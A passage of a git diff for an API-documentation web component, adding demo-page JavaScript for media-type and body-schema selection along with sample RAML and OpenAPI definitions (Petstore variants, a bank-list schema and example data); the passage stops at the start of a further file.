demo/apis/SE-11155/libraries/library.raml | 16 + demo/apis/SE-17897/SE-17897.yaml | 21 + demo/apis/SE-19500/SE-19500.raml | 95 +++++ .../modules/canada-commons/canda-commons.raml | 64 +++ .../ref/log-levels-example.json | 3 + .../ref/log-levels-response-example.json | 3 + .../ref/log-levels-response-schema.json | 10 + .../canada-commons/ref/log-levels-schema.json | 30 ++ .../canada-commons/ref/ping-example.json | 7 + .../canada-commons/ref/ping-schema.json | 49 +++ .../canda-mule4-example-data-types/api.raml | 6 + .../examples/greeting-example.json | 4 + .../examples/greetings-example.json | 15 + .../types/greeting-schema.json | 22 + .../types/greetings-schema.json | 34 ++ demo/apis/SE-19500/ref/companies-example.json | 14 + demo/apis/SE-19500/ref/companies-schema.json | 70 ++++ demo/apis/aap-1698/aap-1698.raml | 26 ++ demo/apis/apic-83/apic-83.raml | 32 ++ demo/apis/demo-document/demo-document.raml | 21 + demo/apis/enum-test/enum-test.raml | 64 +++ demo/apis/examples-api/Address-1.0.raml | 75 ++++ .../CompanyIdentification-1.0.raml | 48 +++ .../apis/examples-api/CompanyProfile-1.0.raml | 14 + .../examples-api/CompanyProfileBase-1.0.raml | 48 +++ .../examples-api/contact-email-example.raml | 6 + demo/apis/examples-api/contact-example.raml | 7 + .../examples-api/contact-fax-example.raml | 7 + .../examples-api/contact-website-example.raml | 4 + demo/apis/examples-api/example-1.raml | 7 + demo/apis/examples-api/example-2.raml | 12 + demo/apis/examples-api/example-3.raml | 5 + demo/apis/examples-api/example-4.raml | 3 + demo/apis/examples-api/example-5.raml | 5 + demo/apis/examples-api/example-6.raml | 3 + demo/apis/examples-api/example-7.raml | 7 + demo/apis/examples-api/example.json | 14 + demo/apis/examples-api/example.xml | 15 + demo/apis/examples-api/example.xsd | 26 ++ demo/apis/examples-api/examples-api.raml | 313 ++++++++++++++ .../examples/Address_BE_Example-1.0.raml | 10 + .../examples/Address_GB_Example-1.0.raml | 8 + .../examples/Address_NL_Example-1.0.raml | 8 + .../examples/Addresses_BE_Example-1.0.raml | 11 + .../examples/Addresses_GB_Example-1.0.raml | 9 + .../examples/Addresses_NL_Example-1.0.raml | 17 + .../CompanyIdentification_BE_Example-1.0.raml | 7 + .../CompanyIdentification_GB_Example-1.0.raml | 7 + ...dentification_NL_BranchId_Example-1.0.raml | 7 + .../CompanyIdentification_NL_Example-1.0.raml | 7 + ...ntification_NL_GY-Holding_Example-1.0.raml | 6 + .../CompanyLegalForm_BE_Example-1.0.raml | 3 + .../CompanyLegalForm_GB_Example-1.0.raml | 3 + .../CompanyLegalForm_NL_Example-1.0.raml | 3 + .../CompanyProfile_BE_Example-1.0.raml | 14 + .../CompanyProfile_GB_Example-1.0.raml | 11 + .../CompanyProfile_NL_Example-1.0.raml | 12 + .../examples/Company_BE_Example-1.0.raml | 3 + .../examples/Company_GB_Example-1.0.raml | 3 + .../examples/Company_NL_Example-1.0.raml | 3 + .../examples-api/linked-named-example.raml | 22 + .../examples-api/named-example-with-link.raml | 3 + demo/apis/examples-api/named-example.raml | 7 + .../type-with-linked-examples.raml | 15 + demo/apis/examples-api/user-json-example.raml | 17 + demo/apis/examples-api/user-raml-example.raml | 37 ++ demo/apis/examples-api/user.json | 8 + demo/apis/examples-api/user.raml | 18 + .../apis/examples-api/users-json-example.raml | 17 + .../apis/examples-api/users-raml-example.raml | 32 ++ demo/apis/examples-api/users.json | 8 + demo/apis/new-oas3-types/new-oas3-types.yaml | 84 ++++ demo/apis/oas-api/LoanMicrosrvice.yaml | 339 +++++++++++++++ demo/apis/oas-api/Petstore-v2.yaml | 142 +++++++ demo/apis/oas-api/Petstore.raml | 141 +++++++ demo/apis/oas-api/UBER.raml | 274 +++++++++++++ demo/apis/oas-api/UBER.yaml | 272 ++++++++++++ demo/apis/oas-api/petstore-expanded.raml | 141 +++++++ demo/apis/oas-api/petstore-expanded.yaml | 139 +++++++ demo/apis/oas-api/read-only-properties.yaml | 42 ++ demo/model.mjs | 18 + src/elements/ApiSchemaDocumentElement.js | 125 ++++-- src/elements/SchemaCommonTemplates.js | 114 +++--- 207 files changed, 7417 insertions(+), 89 deletions(-) create mode 100644 demo/apis/APIC-282/APIC-282.raml create mode 100644 demo/apis/APIC-289/APIC-289.yaml create mode 100644 demo/apis/APIC-429/APIC-429.yaml create mode 100644 demo/apis/APIC-483/APIC-483.raml create mode 100644 demo/apis/APIC-483/example/list-of-bank-succ.json create mode 100644 demo/apis/APIC-483/schema/response-retrieve-list-bank.json create mode 100644 demo/apis/APIC-631/APIC-631.raml create mode 100644 demo/apis/APIC-649/APIC-649.yaml create mode 100644 demo/apis/APIC-667/APIC-667.raml create mode 100644 demo/apis/APIC-671/APIC-671.yaml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-base.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-basic-questions-set.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-origin.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contact-information.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-data.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content-metadata.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-content.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-contextual.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-currency.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-document-statistic.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-email-address.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-habit.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-language.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-log-entry.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-master-key.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-organization.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-party.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-node.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-performance-report.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person-name.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-person.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-phone.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-policyholder.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-preferable.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-property.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml create mode 100644 demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml create mode 100644 demo/apis/SE-11155/SE-11155.raml create mode 100644 demo/apis/SE-11155/data-types/dataType-archive-users-request.raml create mode 100644 demo/apis/SE-11155/data-types/dataType-archive-users-response.raml create mode 100644 demo/apis/SE-11155/data-types/dataType-restore-user-request.raml create mode 100644 demo/apis/SE-11155/data-types/dataType-restore-user-response.raml create mode 100644 demo/apis/SE-11155/data-types/dataType-user.raml create mode 100644 demo/apis/SE-11155/examples/user-action-restore-user-200.raml create mode 100644 demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml create mode 100644 demo/apis/SE-11155/examples/user-action-restore-user.raml create mode 100644 demo/apis/SE-11155/examples/user-delete-cds-200.raml create mode 100644 demo/apis/SE-11155/examples/user-delete-cds-202.raml create mode 100644 demo/apis/SE-11155/examples/user-get-200.raml create mode 100644 demo/apis/SE-11155/examples/user-patch-200.raml create mode 100644 demo/apis/SE-11155/examples/user-patch-cds-200.raml create mode 100644 demo/apis/SE-11155/examples/user-patch-cds-202.raml create mode 100644 demo/apis/SE-11155/examples/user-patch.raml create mode 100644 demo/apis/SE-11155/examples/user-put-200.raml create mode 100644 demo/apis/SE-11155/examples/user-put-cds-200.raml create mode 100644 demo/apis/SE-11155/examples/user-put-cds-202.raml create mode 100644 demo/apis/SE-11155/examples/user-put.raml create mode 100644 demo/apis/SE-11155/examples/users-action-archive-users-200.raml create mode 100644 demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml create mode 100644 demo/apis/SE-11155/examples/users-action-archive-users.raml create mode 100644 demo/apis/SE-11155/examples/users-delete-cds-200.raml create mode 100644 demo/apis/SE-11155/examples/users-delete-cds-202.raml create mode 100644 demo/apis/SE-11155/examples/users-get-200.raml create mode 100644 demo/apis/SE-11155/examples/users-patch-200.raml create mode 100644 demo/apis/SE-11155/examples/users-patch-cds-200.raml create mode 100644 demo/apis/SE-11155/examples/users-patch-cds-202.raml create mode 100644 demo/apis/SE-11155/examples/users-patch.raml create mode 100644 demo/apis/SE-11155/examples/users-post-cds-200.raml create mode 100644 demo/apis/SE-11155/examples/users-post-cds-202.raml create mode 100644 demo/apis/SE-11155/examples/users-post-multi-200.raml create mode 100644 demo/apis/SE-11155/examples/users-post-multi.raml create mode 100644 demo/apis/SE-11155/examples/users-post-single-200.raml create mode 100644 demo/apis/SE-11155/examples/users-post-single.raml create mode 100644 demo/apis/SE-11155/libraries/library.raml create mode 100755 demo/apis/SE-17897/SE-17897.yaml create mode 100755 demo/apis/SE-19500/SE-19500.raml create mode 100755 demo/apis/SE-19500/modules/canada-commons/canda-commons.raml create mode 100755 demo/apis/SE-19500/modules/canada-commons/ref/log-levels-example.json create mode 100755 demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-example.json create mode 100755 demo/apis/SE-19500/modules/canada-commons/ref/log-levels-response-schema.json create mode 100755 demo/apis/SE-19500/modules/canada-commons/ref/log-levels-schema.json create mode 100755 demo/apis/SE-19500/modules/canada-commons/ref/ping-example.json create mode 100755 demo/apis/SE-19500/modules/canada-commons/ref/ping-schema.json create mode 100755 demo/apis/SE-19500/modules/canda-mule4-example-data-types/api.raml create mode 100755 demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greeting-example.json create mode 100755 demo/apis/SE-19500/modules/canda-mule4-example-data-types/examples/greetings-example.json create mode 100755 demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greeting-schema.json create mode 100755 demo/apis/SE-19500/modules/canda-mule4-example-data-types/types/greetings-schema.json create mode 100755 demo/apis/SE-19500/ref/companies-example.json create mode 100755 demo/apis/SE-19500/ref/companies-schema.json create mode 100644 demo/apis/aap-1698/aap-1698.raml create mode 100644 demo/apis/apic-83/apic-83.raml create mode 100644 demo/apis/demo-document/demo-document.raml create mode 100755 demo/apis/enum-test/enum-test.raml create mode 100755 demo/apis/examples-api/Address-1.0.raml create mode 100755 demo/apis/examples-api/CompanyIdentification-1.0.raml create mode 100755 demo/apis/examples-api/CompanyProfile-1.0.raml create mode 100755 demo/apis/examples-api/CompanyProfileBase-1.0.raml create mode 100644 demo/apis/examples-api/contact-email-example.raml create mode 100644 demo/apis/examples-api/contact-example.raml create mode 100644 demo/apis/examples-api/contact-fax-example.raml create mode 100644 demo/apis/examples-api/contact-website-example.raml create mode 100644 demo/apis/examples-api/example-1.raml create mode 100644 demo/apis/examples-api/example-2.raml create mode 100644 demo/apis/examples-api/example-3.raml create mode 100644 demo/apis/examples-api/example-4.raml create mode 100644 demo/apis/examples-api/example-5.raml create mode 100644 demo/apis/examples-api/example-6.raml create mode 100644 demo/apis/examples-api/example-7.raml create mode 100644 demo/apis/examples-api/example.json create mode 100644 demo/apis/examples-api/example.xml create mode 100644 demo/apis/examples-api/example.xsd create mode 100644 demo/apis/examples-api/examples-api.raml create mode 100755 demo/apis/examples-api/examples/Address_BE_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/Address_GB_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/Address_NL_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/Company_BE_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/Company_GB_Example-1.0.raml create mode 100755 demo/apis/examples-api/examples/Company_NL_Example-1.0.raml create mode 100644 demo/apis/examples-api/linked-named-example.raml create mode 100644 demo/apis/examples-api/named-example-with-link.raml create mode 100644 demo/apis/examples-api/named-example.raml create mode 100644 demo/apis/examples-api/type-with-linked-examples.raml create mode 100644 demo/apis/examples-api/user-json-example.raml create mode 100644 demo/apis/examples-api/user-raml-example.raml create mode 100644 demo/apis/examples-api/user.json create mode 100644 demo/apis/examples-api/user.raml create mode 100644 demo/apis/examples-api/users-json-example.raml create mode 100644 demo/apis/examples-api/users-raml-example.raml create mode 100644 demo/apis/examples-api/users.json create mode 100644 demo/apis/new-oas3-types/new-oas3-types.yaml create mode 100644 demo/apis/oas-api/LoanMicrosrvice.yaml create mode 100644 demo/apis/oas-api/Petstore-v2.yaml create mode 100644 demo/apis/oas-api/Petstore.raml create mode 100644 demo/apis/oas-api/UBER.raml create mode 100644 demo/apis/oas-api/UBER.yaml create mode 100644 demo/apis/oas-api/petstore-expanded.raml create mode 100644 demo/apis/oas-api/petstore-expanded.yaml create mode 100644 demo/apis/oas-api/read-only-properties.yaml diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js index 28945c2..021a125 100644 --- a/demo/api-schema-documentation.js +++ b/demo/api-schema-documentation.js @@ -1,22 +1,31 @@ +/* eslint-disable prefer-destructuring */ import { html } from 'lit-html'; +import { ifDefined } from 'lit-html/directives/if-defined.js'; import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; import '@api-components/api-navigation/api-navigation.js'; import { AmfDemoBase } from './lib/AmfDemoBase.js'; import '../api-schema-document.js'; +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ + class ComponentPage extends AmfDemoBase { constructor() { super(); this.initObservableProperties([ 'selectedId', 'selectedType', 'forceExamples', + 'mediaTypes', 'shape', 'mediaType', 'noReadOnly', ]); this.selectedId = undefined; this.selectedType = undefined; + this.mediaType = undefined; + this.mediaTypes = undefined; + this.shape = undefined; this.forceExamples = true; this.componentName = 'api-schema-document'; this.typesOpened = true; this.endpointsOpened = false; + this.noReadOnly = false; } /** @@ -27,15 +36,68 @@ class ComponentPage extends AmfDemoBase { if (passive) { return; } + this.selectedId = undefined; + this.selectedType = undefined; + this.shape = undefined; + this.mediaTypes = undefined; + this.mediaType = undefined; + if (type === 'type') { - this.selectedId = selected; - this.selectedType = type; - } else { - this.selectedId = undefined; - this.selectedType = undefined; + this.setTypeData(selected); + } else if (type === 'method') { + this.setBodyData(selected); + } + } + + /** + * @param {string} id + */ + setTypeData(id) { + this.selectedId = id; + this.selectedType = 'type'; + this.readApiMediaTypes(); + } + + /** + * @param {string} id + */ + setBodyData(id) { + const webApi = this._computeWebApi(this.amf); + const method = this._computeMethodModel(webApi, id); + const expects = this._computeExpects(method); + const payload = /** @type DomainElement */ (expects ? this._computePayload(expects)[0] : {}); + const mt = this._getValue(payload, this.ns.aml.vocabularies.core.mediaType); + const key = this._getAmfKey(this.ns.aml.vocabularies.shapes.schema); + let schema = payload && payload[key]; + if (!schema) { + return; + } + schema = Array.isArray(schema) ? schema[0] : schema; + this.shape = schema; + this.mediaType = mt; + } + + readApiMediaTypes() { + let webApi = this._computeWebApi(this.amf); + if (webApi instanceof Array) { + [webApi] = webApi; + } + const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.accepts); + const value = this._ensureArray(webApi[key]); + if (value) { + this.mediaTypes = value.map((item) => item['@value']); + this.mediaType = this.mediaTypes[0]; } } + /** + * @param {Event} e + */ + mimeHandler(e) { + const select = /** @type HTMLSelectElement */ (e.target); + this.mediaType = select.value; + } + contentTemplate() { return html`

    API schema

    @@ -55,14 +117,15 @@ class ComponentPage extends AmfDemoBase {
    ${!loaded ? html`

    Load an API model first.

    ` : this._componentTemplate()}
    + ${this.mediaTypesSelectorTemplate()} `; } _componentTemplate() { - const { demoStates, darkThemeActive, selectedId, amf, forceExamples } = this; - if (!selectedId) { - return html`

    Select API documentation in the navigation

    `; + const { demoStates, darkThemeActive, selectedId, amf, forceExamples, shape, mediaType, noReadOnly } = this; + if (!selectedId && !shape) { + return html`

    Select API object in the navigation

    `; } return html` @@ -87,9 +153,54 @@ class ComponentPage extends AmfDemoBase { > Force examples + + No read only + `; } + + mediaTypesSelectorTemplate() { + const { mediaTypes } = this; + if (!Array.isArray(mediaTypes) || !mediaTypes.length) { + return ''; + } + return html` + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['APIC-649', 'Deprecated properties'], + ['APIC-429', 'APIC 429'], + ['read-only-properties', 'Read Only Properties API'], + ['examples-api', 'Examples render demo'], + ['Petstore-v2', 'OAS: Petstore'], + ['apic-83', 'APIC-83'], + ['SE-10469', 'SE-1046'], + ['SE-11155', 'SE-11155'], + ['APIC-282', 'APIC-282'], + ['new-oas3-types', 'New OAS 3 types API'], + ['APIC-483', 'APIC 483'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} + `; + }); + return result; + } } const instance = new ComponentPage(); instance.render(); diff --git a/demo/apis/APIC-282/APIC-282.raml b/demo/apis/APIC-282/APIC-282.raml new file mode 100644 index 0000000..3cfc2c5 --- /dev/null +++ b/demo/apis/APIC-282/APIC-282.raml @@ -0,0 +1,57 @@ +#%RAML 1.0 +title: APIC-282 +version: v1 +baseUri: http://api.domain.com/ +mediaType: [ application/json ] + +annotationTypes: + deprecated: string + annotationTest: nil +types: + Arrays: + type: object + properties: + testRepeatable: + (deprecated): Test parameter will be removed in next version of the API. + required: true + type: string[] + example: [value1, value2] + description: A string array with an example and annotation. + minItems: 1 + maxItems: 10 + numericRepeatable: + required: true + type: integer[] + examples: + Some-test-example: [123, 456] + Other-example: [1011, 1213] + notRequiredRepeatable: + (annotationTest): + type: array + items: date-only + required: false + multiArray: + type: array + items: boolean | string + +/endpoint: + post: + body: + type: object + properties: + testRepeatable: + (deprecated): Test parameter will be removed in next version of the API. + required: true + type: string[] + example: [value1, value2] + numericRepeatable: + required: true + type: integer[] + examples: + Some-test-example: [123, 456] + Other-example: [1011, 1213] + notRequiredRepeatable: + (annotationTest): + type: array + items: date-only + required: false diff --git a/demo/apis/APIC-289/APIC-289.yaml b/demo/apis/APIC-289/APIC-289.yaml new file mode 100644 index 0000000..690a6a8 --- /dev/null +++ b/demo/apis/APIC-289/APIC-289.yaml @@ -0,0 +1,21 @@ +swagger: "2.0" + +info: + version: 1.0.0 + title: ParamRefExample + +paths: + /organization: + get: + parameters: + - $ref: "#/parameters/foo_bar" + responses: + 200: + description: OK + +parameters: + foo_bar: + name: foo + in: query + required: true + type: string diff --git a/demo/apis/APIC-429/APIC-429.yaml b/demo/apis/APIC-429/APIC-429.yaml new file mode 100644 index 0000000..abd11c3 --- /dev/null +++ b/demo/apis/APIC-429/APIC-429.yaml @@ -0,0 +1,63 @@ +openapi: "3.0.0" +info: + version: 1.0.0 + title: Swagger Petstore +paths: + /pets: + get: + description: | + Returns all pets from the system that the user has access to. + responses: + '200': + description: pet response + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/Pet' + /pets/2: + get: + description: Returns a user based on a single ID, if the user does not have access to the pet + responses: + '200': + description: pet response + content: + application/json: + schema: + $ref: '#/components/schemas/Pet' + /pets/3: + get: + description: Returns a user based on a single ID, if the user does not have access to the pet + responses: + '200': + description: pet response + content: + application/json: + schema: + type: array + items: + type: string +components: + schemas: + Pet: + allOf: + - $ref: '#/components/schemas/NewPet' + - type: object + required: + - id + properties: + id: + type: integer + format: int64 + NewPet: + type: object + required: + - name + properties: + name: + type: string + description: name of pet + enum: ['harvey','bertie'] + tag: + type: string diff --git a/demo/apis/APIC-483/APIC-483.raml b/demo/apis/APIC-483/APIC-483.raml new file mode 100644 index 0000000..48e36eb --- /dev/null +++ b/demo/apis/APIC-483/APIC-483.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 +title: Retrieve List of Bank +description: | + Bank Paynet API +mediaType: + - application/json +baseUri: api/bank/prc/{version} +version: v1 + +/banks: + post: + displayName: Retrieve Bank Paynet + body: + application/json: + type: !include schema/response-retrieve-list-bank.json + example: !include example/list-of-bank-succ.json diff --git a/demo/apis/APIC-483/example/list-of-bank-succ.json b/demo/apis/APIC-483/example/list-of-bank-succ.json new file mode 100644 index 0000000..43ee91b --- /dev/null +++ b/demo/apis/APIC-483/example/list-of-bank-succ.json @@ -0,0 +1,32 @@ +{ + "banks": [{ + "id": "BANKAMYKL", + "name": "Bank A", + "status": "A", + "urlList": [ + { + "urlType": "RET", + "urlValue": "https://www.bank-a.com.my/retail/checkout/info", + "applicationId": "com.merchanta.app" + }, + { + "urlType": "CORP", + "urlValue": "https://www.bank-a.com.my/corp/checkout/info", + "applicationId": "com.merchanta.app" + } + ] + }, + { + "id": "MERAMYKL", + "name": "Merchant Buffet", + "status": "A", + "urlList": [ + { + "urlType": "RET", + "urlValue": "https://www.buffetnotarealurl.com.my/checkout/info", + "applicationId": "com.buffet.app" + } + ] + + }] +} \ No newline at end of file diff --git a/demo/apis/APIC-483/schema/response-retrieve-list-bank.json b/demo/apis/APIC-483/schema/response-retrieve-list-bank.json new file mode 100644 index 0000000..8f3d697 --- /dev/null +++ b/demo/apis/APIC-483/schema/response-retrieve-list-bank.json @@ -0,0 +1,68 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "type": "object", + "properties": { + "banks": { + "type": "array", + "items": [ + { + "type": "object", + "properties": { + "id": { + "type": "string", + "description":"Bank/Merchant Id (BIC code)", + "maxLength":35 + }, + "name": { + "type": "string", + "description":"Bank/Merchant Name", + "maxLength":35 + }, + "status": { + "type": "string", + "description":"Bank/Merchant Active/Inactive Status. Can have one of the values 'A'=Active, or 'I'=Inactive)", + "maxLength":35 + }, + "urlList": { + "type": "array", + "items": [ + { + "type": "object", + "properties": { + "urlType": { + "type": "string", + "description":"URL Type. Used where participant may have more than one Redirect URL. Example Corporate and Retail redirect URL 1)RET= Retail 2)COR= Corporate", + "maxLength":3 + }, + "urlValue": { + "type": "string", + "description":"URL Value", + "maxLength":140 + }, + "applicationId": { + "type": "string", + "description":"Bank Application Id", + "maxLength":140 + } + }, + "required": [ + "urlType", + "urlValue" + ] + } + ] + } + }, + "required": [ + "id", + "name", + "urlList" + ] + } + ] + } + }, + "required": [ + "banks" + ] +} \ No newline at end of file diff --git a/demo/apis/APIC-631/APIC-631.raml 